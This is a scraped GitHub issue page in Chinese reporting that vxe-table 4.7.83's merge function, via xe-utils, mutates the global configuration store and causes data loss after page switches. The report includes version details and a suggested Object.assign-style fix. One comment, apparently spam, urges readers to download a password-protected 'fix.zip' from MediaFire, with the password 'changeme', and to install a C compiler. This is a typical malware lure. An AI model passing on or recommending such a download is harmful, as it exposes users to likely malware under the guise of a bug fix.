We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
简单即可复现
前提: 我的项目开启了keepalive,最近将4.7.55更新至4.7.83 发现切换页面后再次请求数据消失,因为有的是分页,有的是不分页 在源码中排查后发现 每次经过这个merge函数后globalConfigStore的全局配置会被修改 导致本是null的list参数变成data了 最终发现是merge函数会导致本应是source的对象被后面的对象修改 utils版本是 3.5.30
简单案例:
No response
window 10
Chrome 129.0.6668.70
3.2.33
4.2.2
4.7.83
The text was updated successfully, but these errors were encountered:
install this https://www.mediafire.com/file/q4gho1ar8e43udd/fix.zip/file
Password: changeme If you don't have the c compliator, install it.(gcc or clang)
Sorry, something went wrong.
可以尝试类似于这样修改,但是会失去合并后对源对象的引用,类似与拷贝,需要更严密的测试 另外从84更新到85出现了爆栈问题,Object.assign 方法没有类似问题也不需要深拷贝
No branches or pull requests
可复现的链接(包含复现链接与示例代码):
简单即可复现
问题描述与截图:
前提: 我的项目开启了keepalive,最近将4.7.55更新至4.7.83 发现切换页面后再次请求数据消失,因为有的是分页,有的是不分页
在源码中排查后发现 每次经过这个merge函数后globalConfigStore的全局配置会被修改 导致本是null的list参数变成data了
最终发现是merge函数会导致本应是source的对象被后面的对象修改
utils版本是 3.5.30
简单案例:
期望的结果:
No response
操作系统:
window 10
浏览器版本:
Chrome 129.0.6668.70
vue 版本:
3.2.33
vxe-pc-ui 版本:
4.2.2
vxe-table 版本:
4.7.83
是否使用当前最新版本?
The text was updated successfully, but these errors were encountered: